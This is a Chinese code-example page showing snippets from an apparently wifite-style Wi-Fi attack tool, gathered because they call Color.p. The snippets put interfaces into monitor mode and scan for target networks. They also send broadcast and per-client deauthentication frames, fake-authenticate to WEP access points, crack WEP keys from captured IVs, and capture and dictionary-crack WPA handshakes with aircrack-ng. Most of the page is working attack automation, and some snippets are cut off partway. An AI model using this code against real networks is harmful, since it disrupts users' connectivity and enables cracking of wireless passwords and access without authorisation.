Python Color.p方法代码示例

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
 def fake_auth(self):
     '''
         Attempts to fake-authenticate with target.
         Returns: True if successful,
                  False is unsuccesful.
     '''
     Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
     fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
     if fakeauth:
         Color.pl(' {G}success{W}')
     else:
         Color.pl(' {R}failed{W}')
         if Configuration.require_fakeauth:
             # Fakeauth is requried, fail
             raise Exception(
                 'Fake-authenticate did not complete within' +
                 ' %d seconds' % AttackWEP.fakeauth_wait)
         else:
             # Warn that fakeauth failed
             Color.pl('{!} {O}' +
                 'unable to fake-authenticate with target' +
                 ' (%s){W}' % self.target.bssid)
             Color.pl('{!} continuing attacks because' +
                 ' {G}--require-fakeauth{W} was not set')
     return fakeauth

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def print_targets(self):
        '''
            Prints targets to console
        '''
        if len(self.targets) == 0:
            Color.p('\r')
            return

        if self.previous_target_count > 0:
            # We need to "overwrite" the previous list of targets.
            if self.previous_target_count > len(self.targets) or \
               Scanner.get_terminal_height() < self.previous_target_count + 3:
                # Either:
                # 1) We have less targets than before, so we can't overwrite the previous list
                # 2) The terminal can't display the targets without scrolling.
                # Clear the screen.
                from Process import Process
                Process.call('clear')
            else:
                # We can fit the targets in the terminal without scrolling
                # "Move" cursor up so we will print over the previous list
                Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))

        self.previous_target_count = len(self.targets)

        # Overwrite the current line
        Color.p('\r')

        Target.print_header()
        for (index, target) in enumerate(self.targets):
            index += 1
            Color.pl('   {G}%s %s' % (str(index).rjust(3), target))

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def save_handshake(self, handshake):
        '''
            Saves a copy of the handshake file to hs/
            Args:
                handshake - Instance of Handshake containing bssid, essid, capfile
        '''
        # Create handshake dir
        if not os.path.exists(Configuration.wpa_handshake_dir):
            os.mkdir(Configuration.wpa_handshake_dir)

        # Generate filesystem-safe filename from bssid, essid and date
        essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
        bssid_safe = handshake.bssid.replace(':', '-')
        date = time.strftime('%Y-%m-%dT%H-%M-%S')
        cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
        cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)

        if Configuration.wpa_strip_handshake:
            Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename)
            handshake.strip(outfile=cap_filename)
            Color.pl('{G}saved{W}')
        else:
            Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
            copy(handshake.capfile, cap_filename)
            Color.pl('{G}saved{W}')

        # Update handshake to use the stored handshake file for future operations
        handshake.capfile = cap_filename

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def start(iface):
        '''
            Starts an interface (iface) in monitor mode
            Args:
                iface - The interface to start in monitor mode
                        Either an instance of Interface object,
                        or the name of the interface (string).
            Returns:
                Name of the interface put into monitor mode.
            Throws:
                Exception - If an interface can't be put into monitor mode
        '''
        # Get interface name from input
        if type(iface) == Interface:
            iface = iface.name
        Airmon.base_interface = iface

        # Call airmon-ng
        Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface)
        (out,err) = Process.call('airmon-ng start %s' % iface)

        # Find the interface put into monitor mode (if any)
        mon_iface = None
        for line in out.split('\n'):
            if 'monitor mode' in line and 'enabled' in line and ' on ' in line:
                mon_iface = line.split(' on ')[1]
                if ']' in mon_iface:
                    mon_iface = mon_iface.split(']')[1]
                if ')' in mon_iface:
                    mon_iface = mon_iface.split(')')[0]
                break

        if mon_iface == None:
            # Airmon did not enable monitor mode on an interface
            Color.pl("{R}failed{W}")

        mon_ifaces = Airmon.get_interfaces_in_monitor_mode()

        # Assert that there is an interface in monitor mode
        if len(mon_ifaces) == 0:
            Color.pl("{R}failed{W}")
            raise Exception("iwconfig does not see any interfaces in Mode:Monitor")

        # Assert that the interface enabled by airmon-ng is in monitor mode
        if mon_iface not in mon_ifaces:
            Color.pl("{R}failed{W}")
            raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface)

        # No errors found; the device 'mon_iface' was put into MM.
        Color.pl("{G}enabled {C}%s{W}" % mon_iface)

        Configuration.interface = mon_iface

        return mon_iface

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def user_wants_to_stop(self, current_attack, attacks_remaining, target):
        '''
            Ask user what attack to perform next (re-orders attacks_remaining, returns False),
            or if we should stop attacking this target (returns True).
        '''
        target_name = target.essid if target.essid_known else target.bssid

        Color.pl("\n\n{!} {O}Interrupted")
        Color.pl("{+} {W}Next steps:")

        # Deauth clients & retry
        attack_index = 1
        Color.pl("     {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name))

        # Move onto a different WEP attack
        for attack_name in attacks_remaining:
            attack_index += 1
            Color.pl("     {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name))

        # Stop attacking entirely
        attack_index += 1
        Color.pl("     {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index)
        while True:
            answer = raw_input(Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index))
            if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:
                Color.pl("{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index)
                continue
            answer = int(answer)
            break

        if answer == 1:
            # Deauth clients & retry
            deauth_count = 1
            Color.clear_entire_line()
            Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...")
            Aireplay.deauth(target.bssid, essid=target.essid)
            for client in target.clients:
                Color.clear_entire_line()
                Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station)
                Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
                deauth_count += 1
            Color.clear_entire_line()
            Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count)
            # Re-insert current attack to top of list of attacks remaining
            attacks_remaining.insert(0, current_attack)
            return False # Don't stop
        elif answer == attack_index:
            return True # Stop attacking
        elif answer > 1:
            # User selected specific attack: Re-order attacks based on desired next-step
            attacks_remaining.insert(0, attacks_remaining.pop(answer-2))
            return False # Don't stop

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
 def deauth(self, target_bssid, station_bssid=None):
     """
         Sends deauthentication request.
         Args:
             target_bssid  - AP BSSID to deauth
             station_bssid - Client BSSID to deauth
                             Deauths 'broadcast' if no client is specified.
     """
     # TODO: Print that we are deauthing and who we are deauthing!
     target_name = station_bssid
     if target_name == None:
         target_name = "broadcast"
     command = ["aireplay-ng", "--ignore-negative-one", "-0", "-a", self.target.bssid]  # Deauthentication
     if station_bssid:
         # Deauthing a specific client
         command.extend(["-h", station_bssid])
     command.append(Configuration.interface)
     Color.p(" {C}sending deauth{W} to {C}%s{W}" % target_name)
     return Process(command)

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def fake_auth(self):
        '''
            Attempts to fake-authenticate with target.
            Returns: True if successful,
                     False is unsuccesful.
        '''
        Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...'
            % self.target.bssid)
        start_time = time.time()
        aireplay = Aireplay(self.target, 'fakeauth')
        process_failed = False
        while aireplay.is_running():
            if int(time.time() - start_time) > AttackWEP.fakeauth_wait:
                aireplay.stop()
                process_failed = True
                break
            time.sleep(0.1)

        # Check if fake-auth was successful
        if process_failed:
            fakeauth = False
        else:
            output = aireplay.get_output()
            fakeauth = 'association successful' in output.lower()

        if fakeauth:
            Color.pl(' {G}success{W}')
        else:
            Color.pl(' {R}failed{W}')
            if Configuration.require_fakeauth:
                # Fakeauth is requried, fail
                raise Exception(
                    'Fake-authenticate did not complete within' +
                    ' %d seconds' % AttackWEP.fakeauth_wait)
            else:
                # Warn that fakeauth failed
                Color.pl('{!} {O}' +
                    'unable to fake-authenticate with target' +
                    ' (%s){W}' % self.target.bssid)
                Color.pl('{!} continuing attacks because' +
                    ' {G}--require-fakeauth{W} was not set')
        return fakeauth

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def __init__(self):
        '''
            Starts scan, prints as it goes.
            Upon interrupt, sets 'targets'.
        '''
        self.previous_target_count = 0
        self.targets = []
        self.target = None # Specific target (based on ESSID/BSSID)

        # Loads airodump with interface/channel/etc from Configuration
        with Airodump() as airodump:
            try:
                # Loop until interrupted (Ctrl+C)
                while True:

                    if airodump.pid.poll() != None:
                        # Airodump process died!
                        raise Exception(
                            "Airodump exited unexpectedly! " +
                            "Command ran: %s"
                                % ' '.join(airodump.pid.command))

                    self.targets = airodump.get_targets()

                    if self.found_target():
                        # We found the target we want
                        return

                    self.print_targets()

                    target_count = len(self.targets)
                    client_count = sum(
                                       [len(t.clients)
                                           for t in self.targets])
                    Color.p(
                        '\r{+} scanning, found' +
                        ' {G}%d{W} target(s),' % target_count +
                        ' {G}%d{W} clients.' % client_count +
                        ' {O}Ctrl+C{W} when ready')
                    sleep(1)
            except KeyboardInterrupt:
                pass

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def save_handshake(self, handshake):
        """
            Saves a copy of the handshake file to hs/
            Args:
                handshake - Instance of Handshake containing bssid, essid, capfile
        """
        # Create handshake dir
        if not os.path.exists(Configuration.wpa_handshake_dir):
            os.mkdir(Configuration.wpa_handshake_dir)

        # Generate filesystem-safe filename from bssid, essid and date
        essid_safe = re.sub("[^a-zA-Z0-9]", "", handshake.essid)
        bssid_safe = handshake.bssid.replace(":", "-")
        date = time.strftime("%Y-%m-%dT%H-%M-%S")
        cap_filename = "handshake_%s_%s_%s.cap" % (essid_safe, bssid_safe, date)
        cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)

        Color.p("{+} saving copy of {C}handshake{W} to {C}%s{W} " % cap_filename)
        copy(handshake.capfile, cap_filename)
        Color.pl("{G}saved{W}")

        # Update handshake to use the stored handshake file for future operations
        handshake.capfile = cap_filename

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
 def deauth(self, target_bssid, station_bssid=None):
     '''
         Sends deauthentication request.
         Args:
             target_bssid  - AP BSSID to deauth
             station_bssid - Client BSSID to deauth
                             Deauths 'broadcast' if no client is specified.
     '''
     # TODO: Print that we are deauthing and who we are deauthing!
     target_name = station_bssid
     if target_name == None:
         target_name = 'broadcast'
     command = [
         'aireplay-ng',
         '--ignore-negative-one',
         '-0', # Deauthentication
         '-a', self.target.bssid
     ]
     if station_bssid:
         # Deauthing a specific client
         command.extend(['-h', station_bssid])
     command.append(Configuration.interface)
     Color.p(' {C}sending deauth{W} to {C}%s{W}' % target_name)
     return Process(command)

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def stop(iface):
        Color.p("{+} {R}disabling {O}monitor mode{R} on {O}%s{W}... " % iface)
        (out,err) = Process.call('airmon-ng stop %s' % iface)
        mon_iface = None
        for line in out.split('\n'):
            # aircrack-ng 1.2 rc2
            if 'monitor mode' in line and 'disabled' in line and ' for ' in line:
                mon_iface = line.split(' for ')[1]
                if ']' in mon_iface:
                    mon_iface = mon_iface.split(']')[1]
                if ')' in mon_iface:
                    mon_iface = mon_iface.split(')')[0]
                break

            # aircrack-ng 1.2 rc1
            match = re.search('([a-zA-Z0-9]+).*\(removed\)', line)
            if match:
                mon_iface = match.groups()[0]
                break

        if mon_iface:
            Color.pl('{R}disabled {O}%s{W}' % mon_iface)
        else:
            Color.pl('{O}could not disable on {R}%s{W}' % iface)

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def run(self):
        """
            Initiates full WPA hanshake capture attack.
        """

        # Check if user only wants to run PixieDust attack
        if Configuration.pixie_only and self.target.wps:
            Color.pl("{!} {O}--pixie{R} set, ignoring WPA-handshake attack")
            self.success = False
            return self.success

        # First, start Airodump process
        with Airodump(
            channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix="wpa"
        ) as airodump:

            Color.clear_line()
            Color.p("\r{+} {C}WPA-handshake attack{W}: ")
            Color.p("{O}waiting{W} for target to appear...")
            airodump_target = self.wait_for_target(airodump)

            # Get client station MAC addresses
            clients = [c.station for c in airodump_target.clients]
            client_index = 0

            handshake = None

            time_since_deauth = time.time()

            deauth_proc = None

            while True:
                if not deauth_proc or deauth_proc.poll() != None:
                    # Clear line only if we're not deauthing right now
                    Color.p("\r%s\r" % (" " * 90))
                Color.p("\r{+} {C}WPA-handshake attack{W}: ")
                Color.p("waiting for {C}handshake{W}...")

                time.sleep(1)

                # Find .cap file
                cap_files = airodump.find_files(endswith=".cap")
                if len(cap_files) == 0:
                    # No cap files yet
                    continue
                cap_file = cap_files[0]

                # Copy .cap file to temp for consistency
                temp_file = Configuration.temp("handshake.cap.bak")
                copy(cap_file, temp_file)

                # Check cap file in temp for Handshake
                bssid = airodump_target.bssid
                essid = None
                if airodump_target.essid_known:
                    essid = airodump_target.essid
                handshake = Handshake(temp_file, bssid=bssid, essid=essid)
                if handshake.has_handshake():
                    # We got a handshake
                    Color.pl("\n\n{+} {G}successfully captured handshake{W}")
                    break

                # There is no handshake
                handshake = None
                # Delete copied .cap file in temp to save space
                os.remove(temp_file)

                # Check status of deauth process
                if deauth_proc and deauth_proc.poll() == None:
                    # Deauth process is still running
                    time_since_deauth = time.time()

                # Look for new clients
                airodump_target = self.wait_for_target(airodump)
                for client in airodump_target.clients:
                    if client.station not in clients:
                        Color.pl("\r{+} discovered {G}client{W}:" + " {C}%s{W}%s" % (client.station, " " * 10))
                        clients.append(client.station)

                # Send deauth to a client or broadcast
                if time.time() - time_since_deauth > Configuration.wpa_deauth_timeout:
                    # We are N seconds since last deauth was sent,
                    # And the deauth process is not running.
                    if len(clients) == 0 or client_index >= len(clients):
                        deauth_proc = self.deauth(bssid)
                        client_index = 0
                    else:
                        client = clients[client_index]
                        deauth_proc = self.deauth(bssid, client)
                        client_index += 1
                    time_since_deauth = time.time()
                continue

            # Stop the deauth process if needed
            if deauth_proc and deauth_proc.poll() == None:
                deauth_proc.interrupt()

            if not handshake:
                # No handshake, attack failed.
                self.success = False
#.........这里部分代码省略.........

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def crack_handshake(self, handshake, wordlist):
        '''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
        if wordlist is None:
            Color.pl("{!} {O}Not cracking handshake because" +
                     " wordlist ({R}--dict{O}) is not set")
            return None
        elif not os.path.exists(wordlist):
            Color.pl("{!} {O}Not cracking handshake because" +
                     " wordlist {R}%s{O} was not found" % wordlist)
            return None

        Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
                " {C}%s{W} wordlist" % os.path.split(wordlist)[-1])

        key_file = Configuration.temp('wpakey.txt')
        command = [
            "aircrack-ng",
            "-a", "2",
            "-w", wordlist,
            "--bssid", handshake.bssid,
            "-l", key_file,
            handshake.capfile
        ]
        crack_proc = Process(command)

        # Report progress of cracking
        aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
        aircrack_key_re  = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
        num_tried = num_total = 0
        percent = num_kps = 0.0
        eta_str = "unknown"
        current_key = ''
        while crack_proc.poll() is None:
            line = crack_proc.pid.stdout.readline()
            match_nums = aircrack_nums_re.search(line)
            match_keys = aircrack_key_re.search(line)
            if match_nums:
                num_tried = int(match_nums.group(1))
                num_total = int(match_nums.group(2))
                num_kps = float(match_nums.group(3))
                eta_seconds = (num_total - num_tried) / num_kps
                eta_str = Timer.secs_to_str(eta_seconds)
                percent = 100.0 * float(num_tried) / float(num_total)
            elif match_keys:
                current_key = match_keys.group(1)
            else:
                continue

            status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
            status += " ETA: {C}%s{W}" % eta_str
            status += " @ {C}%0.1fkps{W}" % num_kps
            #status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
            status += " (current key: {C}%s{W})" % current_key
            Color.clear_entire_line()
            Color.p(status)

        Color.pl("")
        # Check crack result
        if os.path.exists(key_file):
            f = open(key_file, "r")
            key = f.read().strip()
            f.close()
            os.remove(key_file)

            Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
            return key
        else:
            Color.pl("{!} {R}Failed to crack handshake:" +
                     " {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
            return None

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
    def run(self):
        '''
            Initiates full WEP attack.
            Including airodump-ng starting, cracking, etc.
            Returns: True if attack is succesful, false otherwise
        '''

        aircrack = None # Aircrack process, not started yet

        for (attack_index, attack_name) in enumerate(Configuration.wep_attacks):
            # BIG try-catch to capture ctrl+c
            try:
                # Start Airodump process
                with Airodump(channel=self.target.channel,
                              target_bssid=self.target.bssid,
                              ivs_only=True, # Only capture IVs packets
                              skip_wash=True, # Don't check for WPS-compatibility
                              output_file_prefix='wep') as airodump:

                    Color.clear_line()
                    Color.p('\r{+} {O}waiting{W} for target to appear...')
                    airodump_target = self.wait_for_target(airodump)

                    if self.fake_auth():
                        # We successfully authenticated!
                        # Use our interface's MAC address for the attacks.
                        client_mac = Interface.get_mac()
                    elif len(airodump_target.clients) == 0:
                        # There are no associated clients. Warn user.
                        Color.pl('{!} {O}there are no associated clients{W}')
                        Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
                                 ' without fake-authentication or associated clients{W}')
                        client_mac = None
                    else:
                        client_mac = airodump_target.clients[0].station

                    # Convert to WEPAttackType.
                    wep_attack_type = WEPAttackType(attack_name)

                    replay_file = None
                    # Start Aireplay process.
                    aireplay = Aireplay(self.target, \
                                        wep_attack_type, \
                                        client_mac=client_mac, \
                                        replay_file=replay_file)

                    time_unchanged_ivs = time.time() # Timestamp when IVs last changed
                    previous_ivs = 0

                    # Loop until attack completes.

                    while True:
                        airodump_target = self.wait_for_target(airodump)
                        Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) '
                            % (attack_name, airodump_target.ivs))

                        # Check if we cracked it.
                        if aircrack and aircrack.is_cracked():
                            (hex_key, ascii_key) = aircrack.get_key_hex_ascii()
                            bssid = airodump_target.bssid
                            if airodump_target.essid_known:
                                essid = airodump_target.essid
                            else:
                                essid = None
                            Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
                                % attack_name)
                            if aireplay:
                                aireplay.stop()
                            self.crack_result = CrackResultWEP(bssid, \
                                                               essid, \
                                                               hex_key, \
                                                               ascii_key)
                            self.crack_result.dump()
                            self.success = True
                            return self.success

                        if aircrack and aircrack.is_running():
                            # Aircrack is running in the background.
                            Color.p('and {C}cracking{W}')

                        # Check number of IVs, crack if necessary
                        if airodump_target.ivs > Configuration.wep_crack_at_ivs:
                            if not aircrack:
                                # Aircrack hasn't started yet. Start it.
                                ivs_file = airodump.find_files(endswith='.ivs')[0]
                                aircrack = Aircrack(ivs_file)

                            elif not aircrack.is_running():
                                # Aircrack stopped running.
                                Color.pl('\n{!} {O}aircrack stopped running!{W}')
                                ivs_file = airodump.find_files(endswith='.ivs')[0]
                                Color.pl('{+} {C}aircrack{W} stopped,' +
                                         ' restarting {C}aircrack{W}')
                                aircrack = Aircrack(ivs_file)

                            elif aircrack.is_running() and \
                                 Configuration.wep_restart_aircrack > 0:
                                # Restart aircrack after X seconds
                                if aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
                                    aircrack.stop()
#.........这里部分代码省略.........

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import p [as 别名]
 def start_network_manager():
     Color.p("{!} {O}restarting {R}NetworkManager{O}...")
     (out,err) = Process.call('systemctl start NetworkManager')
     Color.pl(" {R}restarted{W}")